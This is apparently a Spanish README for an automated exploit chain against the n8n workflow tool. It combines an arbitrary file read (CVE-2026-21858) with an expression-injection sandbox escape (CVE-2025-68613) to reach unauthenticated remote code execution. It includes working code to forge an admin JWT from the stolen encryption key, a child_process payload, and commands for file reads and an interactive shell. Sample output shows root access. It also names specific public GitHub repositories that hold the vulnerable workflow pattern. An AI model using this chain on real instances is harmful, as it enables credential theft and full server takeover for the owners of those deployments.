
Cadena de explotación automatizada para n8n que combina lectura arbitraria de archivos, falsificación de token de administrador y evasión de sandbox para lograr ejecución remota de código sin autenticación.
| CVE | CVE-2026-21858 (AFR) + CVE-2025-68613 (RCE) |
| CVSS | 10.0 + 9.9 (Crítico) |
| Afectado | <= 1.65.0 (AFR) / >= 0.211.0 (RCE) |
| Corregido | 1.121.0 (AFR) / 1.120.4+ (RCE) |
| Divulgado | 2026-01-07 11:09 UTC |
| Nombre clave | Ni8mare |
| Crédito | Dor Attias (Cyera) |
| Exploit | Chocapikk |
| Proceso | Automatizado con IA: diff de parche → reproducción → laboratorio → exploit (~9h tras la divulgación) |
| Tipo | Prueba de Concepto - NO es un exploit universal (requiere configuración específica del workflow, ver Limitaciones) |
Cadena completa de RCE sin autenticación en n8n:
La exposición es basada en versión. En términos de exposición, hay instancias vulnerables de n8n accesibles públicamente.
Resultados de LeakIX: Ver instancias expuestas
Este exploit fue desarrollado de forma independiente al informe de Cyera (descubierto después de completarlo). Diferencias clave:
| Cyera (Investigación Original) | Este Exploit | |
|---|---|---|
| Lectura de Archivos | Cargar en base de conocimiento de IA → consultar vía chat | Respuesta HTTP directa |
| Requisitos previos | Workflow de chat + integración de IA | Cualquier formulario con subida de archivos |
| Método RCE | Nodo "Execute Command" (deshabilitado por defecto) | Inyección de Expresiones (funciona en instalaciones por defecto) |
| Automatización | Demo manual/conceptual | Script Python totalmente automatizado |
Ambos enfoques requieren configuraciones específicas del workflow. Cyera necesita chat + integración de IA, este exploit necesita un formulario con nodo Respond. Ver Limitaciones para más detalles.
┌───────────────────────────────────────────────────────────┐
│ SIN AUTENTICACIÓN │
├───────────────────────────────────────────────────────────┤
│ 1. Leer /proc/self/environ → Encontrar directorio HOME │
│ 2. Leer $HOME/.n8n/config → Obtener encryptionKey │
│ 3. Leer $HOME/.n8n/database.sqlite → Obtener credenciales admin │
├───────────────────────────────────────────────────────────┤
│ FORJA DE TOKEN │
├───────────────────────────────────────────────────────────┤
│ 4. Derivar secreto JWT de encryptionKey │
│ 5. Forjar cookie de sesión de administrador │
├───────────────────────────────────────────────────────────┤
│ RCE AUTENTICADO │
├───────────────────────────────────────────────────────────┤
│ 6. Crear workflow con inyección de expresiones │
│ 7. Bypass de sandbox vía this.process.mainModule.require │
│ 8. Ejecutar comandos arbitrarios │
└───────────────────────────────────────────────────────────┘
commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date: Thu Nov 13 11:51:40 2025 +0100
Merge commit from fork
El legendario "Merge commit from fork" - cuando ves esto, alguien encontró algo picante. 🌶️
// ANTES (vulnerable)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)
// DESPUÉS (corregido)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');
Envía Content-Type: application/json → controla filepath → lee cualquier archivo.
n8n aísla el código de usuario (Nodo de Código, expresiones) usando vm2/isolated-vm. Otros vectores RCE:
| Técnica | Estado |
|---|---|
| Nodo Execute Command | Deshabilitado por defecto (N8N_ALLOW_EXEC_COMMAND=false) |
| Nodos SSH/HTTP | Ejecutan en servidores remotos, no en el host de n8n |
| Escape de Sandbox Pyodide | CVE-2025-68668 - requiere Nodo de Código Python |
| Inyección de Expresiones | CVE-2025-68613 - funciona en instalaciones por defecto |
Usé Inyección de Expresiones porque funciona en cualquier n8n con configuración por defecto - sin nodos especiales ni configuración requerida. El bypass de Pyodide (CVE-2025-68668) requiere el Nodo de Código Python que puede no estar disponible en todas las instancias.
={{ (function() {
var require = this.process.mainModule.require;
var execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
Las expresiones de n8n tienen acceso a this.process.mainModule.require → escape completo del sandbox.
# Derivación del secreto JWT
jwt_secret = sha256(encryption_key[::2]).hexdigest()
# Hash JWT
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
# Forjar token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
docker compose up -d
# Esperar ~60 segundos para la configuración
# Formulario: http://localhost:5678/form/vulnerable-form
# Credenciales: [email protected] / password
# Leer archivo arbitrario
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd
# Cadena completa con comando
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"
# Shell interactivo
uv run python exploit.py http://localhost:5678 /form/vulnerable-form
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-21858 + CVE-2025-68613 - Cadena Completa n8n ║
║ Lectura Arbitraria de Archivos → Forja de Token → Bypass de Sandbox → RCE ║
╚═══════════════════════════════════════════════════════════════╝
[*] Objetivo: http://localhost:5678/form/vulnerable-form
[*] Versión: 1.65.0 (VULNERABLE)
[x] Directorio HOME
[+] Directorio HOME: /root
[x] Clave de cifrado
[+] Clave de cifrado: yusrXZV1...
[x] Base de datos
[+] Base de datos: 1327104 bytes
[x] Usuario administrador
[+] Usuario administrador: [email protected]
[x] Forja de token
[+] Forja de token: OK
[x] Acceso de administrador
[+] Acceso de administrador: CONCEDIDO!
[+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK
uid=0(root) gid=0(root) groups=0(root)
Este NO es un exploit "hackea cualquier n8n". Requiere condiciones específicas para funcionar:
| Requisito | Descripción |
|---|---|
| Formulario con subida de archivos | El objetivo debe tener un workflow de formulario con campo de subida de archivos |
| Nodo Respond to Webhook | El workflow debe devolver el contenido del archivo en la respuesta HTTP |
| Workflow activo | El workflow del formulario debe estar activado |
| Acceso sin autenticación | El formulario debe ser accesible públicamente (sin autenticación) |
Ejemplo de configuración de workflow vulnerable:
{
"nodes": [
{
"name": "Form Trigger",
"type": "n8n-nodes-base.formTrigger",
"parameters": {
"responseMode": "responseNode",
"formFields": {
"values": [{ "fieldLabel": "document", "fieldType": "file" }]
}
}
},
{
"name": "Respond",
"type": "n8n-nodes-base.respondToWebhook",
"parameters": {
"respondWith": "binary",
"inputDataFieldName": "document"
}
}
],
"connections": {
"Form Trigger": { "main": [[{ "node": "Respond" }]] }
}
}
Los elementos clave son: fieldType: "file" + respondWith: "binary". Este patrón es común en workflows de procesamiento de archivos (convertidores, redimensionadores de imágenes, procesadores de documentos).
Funciona:
No funciona:
Nota: La vulnerabilidad (lectura arbitraria de archivos) se activa independientemente del método de exfiltración. El nodo Respond es solo una forma de recuperar el contenido. Métodos alternativos (OOB, otros nodos de salida) pueden funcionar dependiendo de la configuración del workflow.
Explotación ciega: Si no existe un nodo respond, el archivo aún es leído por n8n pero no puede ser exfiltrado vía respuesta HTTP. Se necesitarían técnicas alternativas (OOB, temporización).
El patrón vulnerable (Form Trigger + subida de archivos + Respond to Webhook) existe en repositorios públicos de GitHub.
Nota: Los repositorios populares de workflows n8n (>100⭐) no usan este patrón. Estos son proyectos comunitarios/personales:
| Archivo de Workflow | Campos de Archivo | respondWith |
|---|---|---|
| ifcpipeline/.../ifcpipeline.json | IDS, IFC (x2) | binary ⚠️ |
| nano-banana-studio/.../03_multi_asset_processor.json | Imágenes, Audio, Markdown | json |
| ticket-omnichannel-chat/.../Knowledge_base.json | Documento(PDF) | text |
| ai_resume_project/resume_rag.json | Subida de Archivo | allIncomingItems |
| fkgpt-portfolio/.../audio-transcription-analysis.json | Archivo de Audio | text |
| n8n-backup/.../K3DwHQs0fnnm5UK0.json | archivo | text |
| voltixLandingPage/.../chatbotvoltix.json | Subir Archivo | predeterminado |
| n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.json | archivo | predeterminado |
| 8n8Workflows/.../3WoSqiBnZ56RtWMb.json | Sube tu documento | predeterminado |
| learn_earn_ai_insta/.../My workflow.json | sube tu archivo | predeterminado |
| finintworkshop/.../API using n8n (ToT).json |
Estos son workflows contribuidos por la comunidad. Ninguna plantilla oficial de n8n.io usa este patrón vulnerable.
| archivo |
json |